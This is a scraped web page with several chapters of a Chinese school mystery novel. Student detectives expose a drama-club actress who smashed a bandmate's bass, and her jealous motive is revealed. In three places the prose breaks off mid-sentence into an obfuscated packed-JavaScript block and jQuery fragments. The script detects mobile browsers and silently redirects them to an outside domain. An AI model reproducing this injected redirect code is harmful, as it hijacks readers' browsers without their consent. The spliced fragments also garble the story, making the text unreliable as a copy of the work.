“没事的!我们从我们这边的课室里开柜门时,不会撞到你们那边的柜门,不会打扰你们乐队排练的——”
……喂喂,防风镜很明显不是这个意思吧?
“我们会用一次性抹布,”陈橘又踢了安逸思一脚,“不会弄脏拖把。”
防风镜随之松了一口气。
“……我就说你不务实吧。”担保完的陈橘揉了揉眉心,小声冲身边的人埋怨,“夏羡霞起的外号还是有一定道理的。”
科学怪人安逸思仍一脸笑眯眯。
我面前的课桌突然被敲了敲。
“想什么呢?”艾怡芊的话音传来,唤醒了趁安逸思发言而走神的我,“你一脸在政治课上神游天外的表情。”
“还能是什么?”我放下托腮的手,苦恼地叹了口气,“那个话剧里的绝对机密呗。”
芥浅的手机录像里,女主温华枳明明在那段戏的前半部分露过脸,也和爱魔齐海瑷一直保持着明确的距离,但爱魔的脸却不知为何变成了温华枳。
这段表演之中到底有什么玄机呢?双胞胎?人脸面具?后期剪辑?很显然都不可能。
我还是百思不得其解。
“喂,木兰将军和假面骑士。”
夏羡霞突然发话,打断了我的思路:
“我想起一件不超自然,但应该也有必要说的事——”她举着手,像回答课堂问题般补充着,“在科学怪人安逸思调试相机的那会儿,我听到,隔壁206有‘砰砰’的声音传来……”
“这大概是砸贝斯的声音。”夏烁小声嘀咕。
“……然后在相机自动摄影的那五秒钟内,我又听见了‘啪’的一声。这次的声音比刚才那个清晰,但很微弱,我也说不清它是从哪来的。”
“这可能只是无关紧要的课桌热胀冷缩吧……”陈橘对这个信息的实用性表示怀疑,“不过我确实也听到了。”
但谭深好像有点在意,他问夏烁:“你们回到206后,有没有发出类似的声响。”
后者摇头否认。
“那就奇怪了,”谭深扶着额头,陷入沉思,“这个‘啪’到底是什么呢……”
“不应该先想想这白影是什么吗?”我把相机从艾怡芊面前移开——这人正瑟瑟发抖到像是演出来的,又把相机屏幕怼到谭深脸上,“总不可能真是那些超自然的东西吧?”
“喂喂,你们可别在听到奇怪的故事之后,就偏离案件中心了啊!”齐海瑷马上不满地嚷道,“把注意力放回到正事上来!”
“别急,这可不是偏离案件,”谭深笑了笑,伸手握住面前的相机——
“有可能……还真是它干的。”
16. (6)魔的蛊惑
一片哗然。
“喂……你……”艾怡芊瞪着谭深,眼中的诧异闪了闪,继而变成惊恐,“你可别乱说!”
“只不过嘛……这幽灵究竟是不是幽灵,就很难说了。”谭深慢慢站起身,开始在课室里走动,“说实话,要是我之前没在301发现这件事,我可能还跟你们两位一样,还沉浸在扑朔迷离中呢。”
他走到206后部的扫帚间门口,回头冲我和艾怡芊一笑:
“幸亏,我比较勤劳。”
“嗯?”陈橘露出惊讶的表情,“难道你的意思是……”
“没错。”他向扫帚间柜门伸出手,“这个扫帚间——”
我咳嗽两声:
“嵌在两个课室中间。也就是说,可以通过扫帚间在205和206间自由来往。”
“你是怎么知道的?!”被打断的谭深吃惊地看向我,“你进过扫帚间?”
“并没有,我猜的。”我耸耸肩,“你之前声称自己把301的杂物搬到了302,但夏烁又说302的门锁了。尝试过去保管房偷钥匙的人都知道,钥匙管得可比录像带严多了,而正经的申请流程也很麻烦。所以,我当时就怀疑你通过别的入口进了302……”
“你……”艾怡芊眼神复杂地看着我,“去保管房偷什么钥匙了?”
“咳……图书馆小门的钥匙,为了能避开正门的图书监测机,拿走超过借书上限的推理小说——不过这不重要!”我赶紧把话题转回来。
“接着,我又听到夏烁说,他在204确认了203没人,这进一步加深了我先前的怀疑——课室之间可能有某种隐藏通道。”
我看了看防风镜和安逸思。
“而在刚才,你们说205和206共用一个扫帚间,安逸思同学还保证她从205开柜门时,不会撞到206那边的柜门……”
“你那会不是在神游吗?”谭深一脸难以置信。
“她就是这样,”艾怡芊无奈地笑了笑,“你永远无法确定她到底听没听。”
“……我记得205的扫帚间在教室前端,而206的扫帚间又在教室后端,两个扫帚间的位置是吻合的。”我得意地一扬嘴角,“所以,在听到那句话后,我就猜到了这个结构——205与206被扫帚间相连,就如301和302一样。”
“你猜得确实没错。”谭深苦笑了下,打开扫帚间柜门,又伸手往里一推——
柜子的“背板”缓缓往后移开,205那阴森的景象顿时呈现在眼前。
“不过,布置召灵仪式时,我和其他五人都没进去过扫帚间——这一点我很确定。”安逸思一脸坦然,“所以205没人可以进去206。”
“那要是有人进来呢?”艾怡芊缓缓问道。
安逸思朝他微微一笑。
“幽灵。”
没错,那个从206逃到205的白色幽灵。
“白色……”泽墨梓带着胜利的笑容看向他面前白色的嫌疑人。
“欸?”那人吃了一惊,“我吗?”
披着白斗篷的嫌疑人四号温华枳愣住了。
“小枳?怎么可能是小枳呢?!”齐海瑷冲我们惊慌地叫道,“一定——一定是哪里搞错了……对不对?!”
她四下张望着,似乎想找到一个支持她的人。
“唔……”与齐海瑷的恐慌截然不同,温华枳一动不动,脸上流露出礼貌的困惑表情,“这么说……我成犯人了?”
“不是你还是谁?!”杏流玥一拍桌子,得意地叫道,“吻合的时间、作案工具钳子、被拍到的照片——证据链齐了!结案!”
“你也清白了!”泽墨梓拍了拍嫌疑人二号柯烛辉。
“那么……”温华枳歪了歪头,“能不能请你解释一下,我在扫帚间变身为大扑棱蛾子,从206窜到205后,是怎么回到204的呢?毕竟……”
她提了提自己的白斗篷:“这一身白很显眼啊!”
“这也不成问题,”艾怡芊淡淡道,往扫帚间后的205一指,“破零社的人为了布置召灵仪式,把课桌椅都挪到了墙壁周围。有了这些摆放密集的桌椅的遮挡,你便得以顺利到达了后门。而且,当时他们的注意力都在照片上……”
他脸色稍稍一变。
“……自然注意不到你。”
“好像也说的过去……”温华枳平静地点头,“所以……凶手是我?”
“没错,我们正是这个意思。”谭深报以哂笑,“你很不小心啊,潜行的时候撞到桌椅,‘啪’了一声对吧?”
“哦,凶手是我……”温华枳又重复了一遍。
“……?开什么——”
“开什么玩笑?”
地板传来一阵刺耳的刮擦声——齐海瑷冲了过来。
她按着谭深面前的课桌,冲谭深大喊:“怎么可能会是小枳?!”
“但目前的一切证据都指向她。”谭深不动声色地看着激动的齐海瑷。
“仅凭这些就能得出结论吗?动机呢?小枳有什么理由去砸那把破贝斯?我看你是想包庇你的社员——嫌疑人一号吧?!”
那倒不至于,我想都没想过要包庇艾怡芊,谭深应该也一样。
但齐海瑷还是坚持己见,朝谭深和艾怡芊不住地大嚷大叫。
唉,总之,这就结案了吧。我如是想道。
……
可是……
就像拼拼图时,其中的两块的位置被放反了。尽管把它们拼上去时,不觉得有丝毫问题,但放眼望去,总觉得有哪不对劲,而又说不出是哪……
我思索着,试图在脑海中捞出关键信息。
突然,一段记忆,如灯塔探照灯般猛然扫过我心间,让我瞬间看清了从未想过的真相。
难道说……
我猛地把课桌角落的《爱魔》剧本拿回来,迅速翻动纸页——
没错,拼图果然拼反了。
与此同时,脑海里的关键一帧,与手中白纸上的点点彩字重合……
真没想到啊……
我放下剧本,感觉头脑发涨。
谭深,艾怡芊,你们两个竟然都犯了——
“大错。”我轻轻说。
“什么?”谭深停下与齐海瑷的辩驳,疑惑地看向我。
“大错!真是大错!”我大吼着站起身来。
这么重要的案子里,真正的犯人差点就要逃过惩治,“观棋亦语”侦探团的声誉也差点就被毁于一旦了!
我猛吸一口气,努力让自己平静下来:
“你们漏掉了最关键的嫌疑人五号!”
“嫌疑人五号?!”防风镜不解地冲我一伸脖子,“谁?”
顾不上回答,我快步走向芥浅。
“芥浅同学,能再把排练录像拿出来吗?”
“当然可以!”芥浅爽快地递出手机。
我看了眼讲台后方的教学投影仪。
“我会弄!”审判长夏烁善解人意地跳起来。
片刻,爱魔那张与温华枳一模一样的脸,被放大在了幕布上——
“我就是你啊!”
“关于这个演出效果的实现方法,我思考了很久。”面对除启幕社外一脸吃惊的众人,我开始陈述自己的推理,“后来,我注意到了一个细节——”
我将录像往前回退了一小段——女主惊慌地从枯树后跑出,试图逃开爱魔,结果摔倒在地。
“这一段,女主的脸散发挡住了,约等于她没有露脸——直到她后面下台也是如此。”
我再次回退录像——女主躲在枯树后,爱魔背对镜头,站在枯树侧前方。
“从这里,女主的脸就看不见了。”我指了指幕布上那个枯树背景板,“众所周知,在推理作品中,要警惕脸的消失。因此——”
我提高话音:“从这里开始,女主就已经不是温华枳了,是齐海瑷!她们互换了身份。”
鸦雀无声。
“什……什么?”夏烁不解地皱起眉头,“可她们的位置不是没有移动过吗?”
“看上去是这样,但……”我抬起手,往幕布上爱魔的黑斗篷一敲。
“要是爱魔的黑斗篷可以固定住呢?”
我把视线从目瞪口呆的夏烁,移到齐海瑷身上——后者正捏着自己的黑斗篷。
“齐海瑷同学,你刚刚冲过来的时候,我听到了一阵很明显的摩擦声——那应该就是你们的绝对机密吧?”
我盯着齐海瑷那双幽邃的眼睛:“能撑住斗篷的支架。”
齐海瑷压着的嘴唇挑了起来。
“对,你猜的确实没错。”她轻笑一声,将自己的黑斗篷提起一角,露出一个支架似的东西。
“演员转换器。”
“那是什么?”防风镜不解地皱眉。
“这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063881|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
可是我本出戏剧中最得意的设计哦!”芥浅欣然加入对话。
“确实很巧妙。”我冲芥浅微笑,“用支架撑起黑斗篷,让齐海瑷能够离开它,并借着它的遮挡溜进枯树背景板后。接着让温华枳从枯树后钻入黑斗篷,从而成功实现演员转换。”
“就是这样!”芥浅欢喜地点点头,“只要小枳和小瑷通过错位,互相让观众看不到自己的脸,并轮流为对方配音,大家就会相信爱魔真和女主长得一模一样。这就是演员转换器的奇效!我还特意拜托幻秀社把支架做得轻了又轻,并固定在斗篷上,这样小瑷就能轻松背起它走动——”
“停!”
防风镜一抬手,打断了芥浅喋喋不休的讲解,朝我转过头来。
“这演员转换器是很厉害,但它跟这起案件有什么关系?”
“有关系,”我加重了咬字语气,“关系可大了。”
我快步从讲台走下。
没错。为了从黑斗篷爱魔转换成白斗篷女主,那她的黑斗篷下面除了支架,就还需要……
我猛地将齐海瑷的黑斗篷掀开——
“白斗篷。”
“你乱动干什么?”齐海瑷怒气冲冲,从我手中抽回黑斗篷,“我里面穿着白斗篷又怎么了?这是为了演员转换!”
“是啊,演员转换。”我冷笑一声。
“在扫帚间里脱下黑斗篷,穿着白斗篷飞奔而过,故意让相机拍到你的白色身影,以便误导我们的演员转换!”
在我身后,夏烁倒吸了一口凉气。
“异想天开!”齐海瑷飞快瞥了眼周围震惊的面孔,从鼻子里哼了一声,“那我的黑斗篷呢?自动瞬移回来我身上了?!”
“你在跑过去之前扔过去了吧,”我直视齐海瑷凌厉的眼神,“那声‘啪’就是它的着陆声。响声清晰,因为它就是在205中响起的;至于微弱,则如芥浅所说——那个支架很轻!”
“是吗?”齐海瑷不屑地讥笑,拨了拨挡住眼睛的头发,“但是……”
她朝课桌上的剧本一指:“这里面有写小枳重新上场后,我来到幕后的时间吧——是五点零二分三十秒以后!我怎么用这不足一分半的时间去206搞破坏,再及时赶回来?掠夜彗星五点零三分前就下来了欸?!”
“乍一看是这样,但既然有了扫帚间这个隐藏通道,你只要在这一分半之内走到206并破坏贝斯就行了,回来的时间根本不用计算在内。”
呵呵,还一口一个“小枳”呢。
“我想,你大概还打算砸得更久吧?但很不幸,你听到了乔似梦下楼的声音,便匆匆停止。你来不及从外面跑回204,便急中生智躲进了那。”
我朝齐海瑷身后连接205的扫帚间一指。
“正好,你从门缝里看到205在布置召灵仪式。于是,你便想利用这个机会逃回204,顺带通过所谓‘演员转换’,让相机留下假扮温华枳的白色身影。”
教室后端,温华枳眼神发怔。
“飞奔到课室另一侧后,你重新有了黑斗篷的遮挡,得以在昏暗的205更好地隐藏自己,潜行到后门,合理性比之前的温华枳犯人说更高!再说了,齐海瑷——”
我抓起翻开的剧本,举到她面前:“在温华枳之后,你也有一段三分钟的幕后独处时间吧?而且你的道具也是钳子吧?!”
“呵……呵呵……”
齐海瑷像是听到了什么世纪笑话,剧烈地发着颤笑起来。
“真是有趣啊……我都快笑死了——但这些都只是你的猜测而已吧?”
她瞳孔骤缩,向我迈近一步。
“证据呢?实打实的证据呢?!温华枳不也同样有嫌疑吗?”
“说到证据……”筱玲珑出乎人意地发话了,“我现在记起来,我从206跑出来前,除了飞快的脚步声,我还听到了……”
她冷眼看向齐海瑷:“‘呲啦——’的摩擦声。”
“闭嘴!你个嫌疑人三号!”齐海瑷冲筱玲珑厉声喝道,“你有什么资格说我?!”
“那接下来这个证据有资格了吧?”我扔下剧本,一把抓起课桌上的相机,把它举到脸色发白的齐海瑷面前。
照片右上角,与鬼影同样颜色的数字整齐排列成一行,清清楚楚地显示着“17:04”这个时间——在防风镜所说的“五点零三分”之后。
这正是我感到不对劲的源头。
17. (7)宣泄
“精彩。”
白衬衫森哲溪鼓了几下掌。
“精彩。”
乔似梦终于从“思想者”姿势中抬起头来。
“精彩。”
谭深无奈地笑了笑,算是承认自己的失误。
“原来是你这家伙啊……”防风镜站起身,向僵住了的齐海瑷走去,每一步,都迸发出与她娇小身形不相衬的恐怖力量,“……理由?”
“理由?”齐海瑷一甩头发,眼神空洞,“还不是……呵呵……”
她捂住脸,阴森的笑声充满了整个课室。
“还不是因为这个贱人?”
齐海瑷猛然抬起头来,眼中充斥着可怖的血丝:
“还不是因为她这么贱?!你们都那么贱!!!”
——
“组建班级贡献群啦……要入群吗?”
高一的齐海瑷笑吟吟地坐在课桌上,身旁围了一群人。
“入群后,就能得到参与班级活动策划的机会,我们就是一家人了哦~”
不管是男是女,大家或多或少都投来了感兴趣的眼神,除了——
在这片热闹旁,乔似梦趴在桌上,面无表情地看着小说。
“同学,”注意到乔似梦的不屑一顾,齐海瑷心中泛起一丝不满,但脸上笑容依旧,“你要入群吗?”
“不入,吵。”乔似梦冷淡地说。
“同学,”第一次被这么露骨拒绝,齐海瑷心中有些不满,但她还是耐心地俯下了身子,“确定不入吗?多参与点班级活动,多交点朋友,不是更好吗?”
“阁下所谓的朋友,是朋友吗?”乔似梦漠然地放下书。
“……欸?”
齐海瑷愣住了。
“班级贡献群,实则是阁下的跟班群吧。让班中他者对阁下言听计从,师尊对阁下赞赏有加,然后再于暗地里排斥‘边缘之人’,登上班级的独裁统治者之座,并从中获得满足感——此乃阁下的真实目的吧?”
乔似梦平静地看向僵立的齐海瑷。
“第一步是班级,第二步是年级,再下一步是学校。阁下大概已对这种统领全局、众星捧月的乐趣上瘾了,在下言之确凿吧?”
这个家伙……自以为是地在说什么呢……
齐海瑷感到自己的脸色正逐渐变得难看。
“不,同学,我……”
“在下先把话说在前头——在下对阁下的辉宏大业不感兴趣,请君自便,但还是烦请阁下不要来打扰在下。”
乔似梦收回目光,拿起小说继续看了下去。
啧……
齐海瑷攥紧双拳,指甲嵌进了手心肉里。
不感兴趣是吧?你会后悔的……
“……你不想参加班级表演,对吧?这也没什么问题,毕竟是以自愿为原则的。但身为班级中的一份子,你也要适当为班集体着想吧,而且,我听说你在之前的集体活动中也不太积极……”
齐海瑷斜眼看着乔似梦,后者正在班主任的劝导前默不作声。
自从那次拒绝后,她便在每一次班级活动中把最累且最不引人注意的活安排给乔似梦,在班主任前汇报时,也会轻描淡写地挑点乔似梦所任工作的毛病。同时,她也给以她为核心的小团体暗暗灌输了“乔似梦很讨厌”的观念。
很快,在过去的大半个月中,乔似梦逐渐成了同学眼中的不合群,老师的眼中钉。
而这正合齐海瑷的意。
……其实,与其说是出于厌恶的报复,更不如说是出于莫名的恐惧——恐惧乔似梦古怪却不失逻辑的言语,以及……
那双似乎能将人一眼看透的冰冷眼睛。
“哎呀,被老师说了吗?我就说多参与班级活动比较好吧。”
班主任离开后,齐海瑷强装镇定走到乔似梦面前,摆出宽容的姿态。
“还是来参加艺术节汇演吧,顺便入个工作小组群了解一下详细的工作……”
“在下已经有艺术节的表演了。”乔似梦的回答依旧简单。
“什么?”齐海瑷怔在原地。
这家伙竟然有自己的表演?可单人表演是不允许的,谁会邀请这个臭脸啊?
“好……好吧。”齐海瑷咬了咬唇,转身朝教室门口快步走去。
去文娱部查节目单,看看这家伙说的是真是假……
“啊!”
低沉的惊叫声于耳畔响起,齐海瑷慌忙从自己撞上的那人胸前退开。
一名陌生的少年,身着初中部校服,眼中满是惊慌。午后阳光在远方散发出淡淡光晕,给那英俊的脸庞打上一抹亮色。
“抱——抱歉。”少年很不好意思,往后退了小半步。
“对不起。”齐海瑷忙也道歉,低头理了理头发。
“同学,请问乔似梦在吗?”
“啊?”齐海瑷对这句问询感到意外,但还是会朝教室后端看了眼,“她……”
乔似梦的座位空了。
“她不在。”齐海瑷转回头,露出礼貌的微笑,“你找她有什么事吗?”
“呃……没什么。”少年挠了挠头,开始往后退,“我还是等她回来再说吧……”
“等一下!”
齐海瑷下意识叫住了少年。
“你……你和乔似梦很熟吗?”
“嗯?”少年明亮的眼睛往右上方瞥去,似乎在回忆,“算是吧?我也不知道她怎么看我,她这个人……怎么说呢……”
“有点不同寻常?”
“对。”少年绽放出灿烂的笑容,“不过……”
闲聊自然而然地展开。无论齐海瑷说什么,对方都会开心地回应。
“真厉害啊。”得知齐海瑷兼任班长与文娱部委员后,名叫夏烁的初三少年脸上流露出钦佩的神情,“换我可干不来,根本提不起一点精力。”
夏烁含笑看着齐海瑷:“你以后一定会成为很厉害的人。”
齐海瑷第一次发现阳光是暖的。
“木兰。”
而这时乔似梦出现了。
“你怎么把那小鬼的外号学来了?”夏烁从倚着的墙上起来,表情瞬间变得无奈,“走吧。”
齐海瑷沉默地望着两人远去的背影。
突然,夏烁在走廊上回头,冲她一笑:
“再见!”
……阳光真暖啊。
高二学期初,又是一个午后,齐海瑷漫不经心地听着身旁女生们的叽叽喳喳,一边回想每一次的偶然碰面,以及夏烁露出的灿烂笑容……
夏烁竟然也来到了这所高中……
一个彩色的气球悄然升起,梦幻般地在空灵中飘动。
“……话说乔似梦这人是面瘫还是哑巴?整天都冷着个脸给谁看啊?”她们又一次聊到了批判乔似梦的话题。
“……进了个乐队就觉得自己很了不起似的,还去勾引主唱……”
“啊?什么?”齐海瑷猛地回过头来。
“欸?小瑷你不知道吗?乔似梦最近加了个叫什么彗星的乐队,而那个经常来找乔似梦的很好看的男生,就是那乐队的主唱。真不知道那男生是怎么看上她的,他们两个总是很亲密,我之前还看到那男生抱了她好几次……”
“是吗……”女生们还在议论,但齐海瑷什么都听不见了。她感到自己心中的气球一下子瘪了。
凭什么……那家伙明明没像我自己一样拼命,也能过这么好……凭什么……
嫉妒,与之前的厌恶,以及那因恐惧而升起的愤怒,全都揉搅在了一起。
凭什么……她浑浑噩噩地来到启幕社活动室。凭什么会比我好……她机械地重复着每一句台词。凭什么每个人都这样……
这时,她看见窗外,乔似梦与夏烁走过。
她还看见了那笑容。
在爱魔的狞笑声中,她的心走火了。
“呵呵……现在想起来……我大概也是被爱魔蛊惑了吧。”
齐海瑷空洞地笑着。
“‘对年轻人走火入魔的热恋’……还真是‘切勿不可掉以轻心’呢……”
“什么爱魔啊?”
我冷笑几声,攥紧双拳:
“根本就没有什么所谓爱魔,只有你的一己私欲吧?!!”
我冲齐海瑷嘶吼——
“你心中那像蛆虫一样蠕动,像肥肉一样作呕的施恶欲望!一边享受于扮演统治者的乐趣,又一边不满于现状的无趣与枯燥,于是就出于根本不成理由的理由,将恶意强加到别人身上,作为你自己的消遣和发泄,然后在阴暗处看着别人的痛苦放声大笑——这才是你真正的动机吧?齐海瑷?!”
尖锐的耳鸣声在颅内回响,涌上头顶的血液使我感到眼前发黑。
抬眼,看到齐海瑷惶恐失措的神情,我不禁笑了——
“难道不是吗……”
死寂中,我轻声吐出这句话:<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063882|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“你们难道不都是这样吗……”
跨越十年的问题终于问了出来,但却没有得到回复。
“既然现在已经找出是谁干的了,那我们的委托就算完成了吧。”艾怡芊的声音仿佛是从另一个世界传来的,“接下来就是你们的事了,我们先走了。”
我立刻在沉默中走到门口,拉开门,头也不回地冲进了外面的走廊。
九月的风,是苦的。
我讨厌秋天。
走廊铺满了衔接日暮的阴影。我低着头,只顾一味往前走。
身后传来了两个人的脚步声,大概是艾怡芊和谭深——
EMDR!
我急忙用衣袖擦了擦脸,挽起左边长袖,将手腕在眼前晃动,紧盯着手表表面。
5、4、3——
“……杜苓瑛?”
——2、1!
“干嘛?”
杜苓瑛悠哉地转过头,站定在原地。
微风吹起她的短发,扫过那抹捉摸不透的轻笑。黄昏倒映在稍弯的双眼里,似乎要将一切重新归为平常。
“呃……”我其实根本没想好后面要说什么,“你……”
想到了!
“你还记得那个嫌疑人二号吗?”
“柯烛辉?”杜苓瑛不解地歪了歪头,“那家伙怎么了吗?艾怡芊?”
“他好像没有坦白自己从201出去后的行为吧?我有点好奇他到底干了什么。”
“我也挺好奇。”杜苓瑛耸耸肩,“但既然他不愿意说,那也没办法——我用演绎法得到的结果为零。”
“打扰一下——”
防风镜突然从我们身后追了上来。
“夏烁说想邀请你们明天一起吃甜点——这是额外的报酬。”
“是吗……”谭深看了眼我们,像是在征求意见。
“我去。”
“我也去。”
得到杜苓瑛和我的先后回答,谭深便拿出手机,和防风镜交换了联系方式。
“好了。”似乎已经通过了好友验证,谭深冲防风镜微笑。
“谢谢你,栗依雏。”
“不用谢……嗯?!”
防风镜猛地往后缩了一下。
“看来我猜得没错。”看着防风镜惊慌失措的模样,谭深又是一笑,“演绎法对这位还是管用的。”
“你——你怎么知道的?!”防风镜——栗依雏的声线因震惊而变得尖细。
“无论是你的体型,还是你的声音,都让我感到似曾相识。而且……”
谭深指了指栗依雏的裤脚,上面粘了许多棕色的丝状物——
“猫毛,我在课室里看到你扯了好几次。”谭深轻扬了扬眉毛,“此外,夏烁在告诉我们你去了外面空地的事时,下意识说了你的名字——不过他迅速将那个‘栗’字改成了‘立马’。”
“……我就说他那会为什么那么紧张。”杜苓瑛嘀咕着,看了眼手表,脸色瞬间大变——
“啊?都这个点了?!”她立刻冲到谭深跟前,“快快快,把301钥匙给我,我书包还放在上面呢!”
谭深刚把钥匙从裤袋里掏出,杜苓瑛就一把抢了过来,迅速冲上了前面的楼梯。
“那……”身份暴露后,栗依雏似乎感到非常尴尬,“那我也走了。”
扔下这句话,她快步走回了206。
顷刻间,走廊上只剩下了我和谭深两人。
“……”谭深望了眼杜苓瑛消失前的位置。
然后他用询问般的眼神盯着我。
我叹了口气,移开目光。
没有向谭深给出回答,也没有回头,我朝前方的楼梯走去——
先不论该不该讲,如果要说,也绝对不是现在。毕竟,这夕阳之下的走廊……
太像那一天了。
我不能也背叛她。
(注:EMDR,即为“Eye Movement Desensitization and Reprocessing”。是一种心理疗法,主要用于治疗创伤后应激障碍。疗程中,患者通常被要求回想创伤,并来回移动眼球,从而达到忘记恐怖且平静心情的效果。)
(《走火入魔的宣泄》完)
(下章预告:迷雾还没彻底散去呢……那张拍摄于曾经的灵异照片中,幽灵的真面目究竟如何?且看“观棋亦语”跨越时间,揭开真相!)
18. (1)甜点委托费
“锵锵锵锵——”
系着围裙的夏羡霞开心地为自己的出场配音,朝我们端来一个托盘。
“纸杯蛋糕来啦——”
“啊,我突然想起……”望着蛋糕上那一堆鲜明的白色,我干笑着,“我好像特讨厌吃奶油来着……”
夏羡霞用一种看牛吃牡丹的眼神瞪着我:
“那就别吃!”
这天是星期六,我们聚在栗依雏家里,准备吃夏烁准备的甜点委托费。而坐在这张大桌子旁的人,除了掠夜彗星乐队,以及被拜托一起烘焙的夏羡霞以外,还有——
“你没又一边做蛋糕一边看漫画,并且把奶油沾到我的漫画书上吧?”
陈橘一动不动地盯着夏羡霞,后者心虚地移开目光——是的,破零·超研社也来了。
“呃……就一点点啦,公主殿下……”夏羡霞小声嘀咕着,把一本摊开的漫画书推到陈橘面前——书里虎牙女生的黑短发上添了一小抹白。
“我真是服了你了。”公主殿下陈橘翻了个白眼,将那本漫画翻过一页,“……算了,毕竟我一个把可乐泼到漫画上的人也没多大资格说你。”
她看着卷发小女孩的脸,对着那块棕叹了口气——但叹到一半就停住了。
“我记得这里原来没有这点黑褐色的……安逸思!”她的声音中带了一丝愠怒,“你又偷翻我漫画了,还把咖啡洒上面!”
“对不起啦……”她身旁的安逸思孩子气地笑着。
“……好吃。”没有注意她们的谈话,乐队鼓手詹澄自顾自地埋头吃着蛋糕。
“那当然啦!”听到夸赞,夏羡霞得意地笑起来,露出小小的虎牙,“都说过不要小瞧我的手艺了!”
“谢谢你,”詹澄很认真地看着夏羡霞,“夏烁。”
“……”夏羡霞脸上的笑容蒸发了。
“记对了名字,但又记反了么……”一旁的范晚枫忍俊不禁。
“手艺大师让一下,热可可来了。”夏烁从表情复杂的夏羡霞身后走来,递来一盘杯子,“还有小梦和小霞的苹果汁,以及小橘和我的可乐。”
将那五个杯子拿来后,夏烁又欢欣地走回厨房。
“除此之外——”
“苹果派也好啦!”夏羡霞把一大盘苹果派从夏烁手里端来,高高举在半空中,让香气倾泻而下。
看来我不用只吃有奶油的东西了,可喜可贺。
苹果派还在烤箱里的时候,整个餐厅就已经弥漫着浓郁的香气,勾引得人垂涎欲滴。现在,甜点全部上齐,没有人再能忍住不动叉子,除了——
仍垂着头,一脸死相的乔似梦。
“小梦?”夏烁试探性地叫她。
“别打扰在下,”她把下巴压在交叉的双手上,眼神如一潭死水,“在下正在为已逝的爱妻默哀。”
“你……你是说……”栗依雏小心翼翼地发问,“……‘征服者’吗?”
“正是。”乔似梦似乎更加悲痛了。
呃……虽然我确实为乔似梦的遭遇感到同情,但怎么会有人给自己的贝斯起这么中二的名字啊?
“哎呀,那恋爱脑不是赔了你一把更漂亮的吉他——”
“是贝斯!”
“——贝斯吗?”被又一次纠正的夏羡霞满脸不耐烦,“别默哀了中二病,我可不想我辛辛苦苦做的甜点变成贡品!”
“但她是特别的啊,在下出生在这世上就是为了和她相遇,我的爱妻……我的征服者……”乔似梦喃喃着扯住鬓发,来回地摇着头,“明明在下第一次见征服者时,就已经和她签订下厮守终生的契约了啊……”
“那又怎么样?”夏羡霞叹了口气,“走了就是走了,死了就是死了。”
“呃啊啊啊……”乔似梦猛地俯下身子,哀嚎起来,“死了——都要爱——”
“够了!”夏羡霞咬咬牙,急忙打住乔似梦对征服者的挽歌,“这有什么办法?谁叫那恋爱脑把夏烁认成男的——”
“咳咳咳——”
谭深猛地从杯子上抬起头来?
“你刚才说什么?”
“我不是说的很清楚了吗?”夏羡霞不耐烦地嘟囔,“那恋爱脑把夏烁认成男的了——就和你一样!”
……怪不得夏羡霞要叫夏烁“木兰”呢。
“不过别误会,我不是想让别的女生喜欢上我,”在谭深震惊的眼神中,夏烁苦笑道,“我只是单纯想留短发而已。”
“确实。”夏羡霞拍了拍夏烁,“木兰表姐的想法一般都比较特别。”
“啊?”我愣了一下,“你们是表姐妹?
“对啊。”夏羡霞不可置否地耸耸肩,“不然你以为我俩刚好都姓夏啊?”
“我还以为是亲的呢……”艾怡芊小声咕哝。
“我才不想给我家多添一个负担!”夏羡霞立刻叫起来。
“……咦?那里怎么还有一杯热可可?”
努力咀嚼着嘴里的蛋糕——夏羡霞的手艺确实得了,奶油好像也没那么糟糕了——我突然发觉,厨房灶台上还摆着一杯热可可。
“你们两个……好像一开始就是拎着七杯热可可进来的,然后再用了我家的苹果汁和可乐。”栗依雏也看着夏烁和夏羡霞疑惑道。
“呃……那个不用管啦!”夏羡霞一副无所谓的语气,“买多了而已。”
但她又一次开始游移的眼神出卖了她自己。
嗯?难道这里面……有什么不能为人知的秘密?
“买多了就买多了,你紧张什么?”陈橘立刻就说出了我的怀疑。
“我才没紧张呢!”夏羡霞紧张地叫道。
“狡辩乃无用之物。”乔似梦终于抬起头,从亡妻之痛中暂时回来,“仅有六人喝热可可,二位为何要买七杯?”
“没什么啦……”夏烁也开始辩解道,“就只是像夏羡霞说的那样,她去楼下甜品店买了七份热可可,回来倒进杯子后我们才发现买多了……而已。”
说着说着,她讪笑着移开目光。
“真的吗?夏羡霞?”
詹澄偏着头,朝欲言又止的夏烁发问。
片刻沉默。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16063883|179220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“……我才是夏羡霞。”正主龇牙咧嘴,但眼中的心虚仍挥之不去。
